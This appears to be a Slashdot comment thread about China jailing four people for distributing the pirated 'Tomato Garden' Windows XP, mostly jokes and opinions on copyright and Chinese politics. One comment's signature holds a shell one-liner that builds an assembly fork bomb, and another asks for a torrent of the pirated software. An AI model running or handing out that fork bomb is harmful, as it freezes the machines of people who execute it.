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China Jails Four For Microsoft XP Piracy
adeelarshad82 writes "Chinese court has jailed four people for spreading their bootleg 'Tomato Garden' version of Microsoft's Windows XP program, in what the Xinhua news agency called the nation's biggest software piracy case. One of the four men Hong Lei, the creator of the downloadable 'Tomato Garden Windows XP' software, was jailed for three and a half years by a court in Suzhou in eastern China, Xinhua."
Seriously. I'm not one to loudly advocate using Linux on the desktop, but if it's a choice between jail and Linux... choose Linux. Use WINE if there's something you can't do without.
(I was going to make a Soviet Russia/Communist China joke here but I decided not to)
Web2.0: I love when people Flickr my cuil and digg my boingboing until my google is reddit and I start to yahoo
So let me get this straight. The largest piracy case ever in the largest country in the world with the most piracy in the world included 4 people?
Maybe their worried about upholding US copyrights because we make their firewall software...
When in doubt, goto 10.
This is actually a veggie mafia thing. See the Tomatoes were getting uppity and the Corn boss had them canned....
just to say that we do uphold them
> I think your search method could use a little refining there ;)
Yeah, next time try Bing
Bark less. Wag more.
Some of the big bosses in the party have a lot of industries that they run. They're probably realizing that:
1) Intellectual Property and Copyright laws are becoming acceptable in most of the world
2) Pretty soon they won't be just manufacturing things, they will be designing and selling Chinese ideas on foreign soil.
Sorry, but hardly anyone America can compel anyone in China to do anything. They are in their second millennium of being a civilization. They are stockpiling oil, uranium, and millions of tons of other raw materials with all of the American dollars they have. They will be the major economy of the 21st Century, no matter what we do. They are probably looking into the future, and realizing they will have no legal pretext to sue or invade if we start pirating their technology, unless they start obeying the "law" now.
Whew! Good thing they're starting to crack down on this copyright infringement. Wouldn't want it to cut into sales of this no-longer-available product.
I suspect that China came down on these four not for distributing their counterfeit "Tomato Garden" version per se, but for their failure to supply the proper MSDN VLK "Corporate" Professional edition.
Thank you, Edward Snowden.
"Arguments from authority are worthless." —Carl Sagan
I believe there is an error in the translation; the ideogram for "piracy" is very close to the one for "massive pile of stinking shit", and therefore, the headline should actually read: "China jails four for still Using IE6"
A friend of mine has been doing business as a foreign company in china for a few years.
He is very matter of fact about it. You build into your budget, the kickback amounts.
I have thought about this a bit, and the attutide is somewhat akin to the tipping/no tipping cultures. I spent time in the US and once I accepted tipping I saw it was a better system. Without kickbacks/bribes you just cannot operate as a foreign company. A kickback is almost regarded as a tip in China.
In post Patriot Act America, the library books scan you.
Have you ever been to a sewage plant, and seen the tomatoes they grow there?
so making MONEY from setting up a business distributing copies of XP you altered intentionally and distribute to millions gets your 3 1/2 years but downloading a few songs for personal use gets you whacked with millions in damages which will cripple your life?
I'm going to download this to find out what all this hubub is about. Anyone have a torrent?
Someone in Taiwan who's familiar with such things said criminal accusations are inherently political. Pretty much all politicians are corrupt and The Party controls the courts. Best way to get rid of a rival is to denounce them for corruption. Interestingly it's not the verdict of the court case that shows they are finished, the fact that the case was not blocked is enough. Actually if you can even read about a potential case you know they are finished, because if they had a chance the coverage would have been censored. E.g. Li Peng
http://en.wikipedia.org/wiki/Li_Peng#Alleged_Corruption
As the findings of the investigation leaked to the general Chinese public, the Chinese government took an unexpected stand. As victims (including some influential social citizens of Beijing) of New Nation Great Co. angrily demonstrated outside the Zhongnanhai more than a dozen times, hold up the banners that claim "Li Peng return the money to us from your son", none of the demonstrations were dispersed and none of the demonstrators were arrested. Each time, the Chinese government only sent police to watch the demonstrators and did nothing else. As the information of the investigation was leaked and circulated on the Internet, it was not immediately censored; instead, it was allowed to circulate for quite some time before the eventual ban, and none of the domestic Chinese Web sites that published the info were shut down by the Chinese governmental censorship. However, the Chinese government did not respond to the victims' and public demands either. China analysts postulate such an unusual move by the Chinese government served several purposes, including pressuring Li Peng to retire from his post of chairman of the Standing Committee of the National People's Congress when he reached the age limit, as well as putting a distance between Li Peng and the government itself for the future leadership. Whatever the reason, the investigation results concerning corruption charges of Li Peng's family that leaked to the public, was tolerated by the Chinese government for a short period of time, and certainly made Li Peng and his family become more unpopular than ever among the general Chinese populace.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Jailing people due to copyright infringement is never due to justice. I'd guess they stepped on the wrong toes, forgot to bribe the wrong official.
Give me Classic Slashdot or give me death!
These men are probably "being mad examples of" scapegoats if you will. Yes, they're probably guilty, but it's just a drop in the bucket from what I've read. The Chinese government just wants to look like it's doing something about piracy.
wha'? where am i?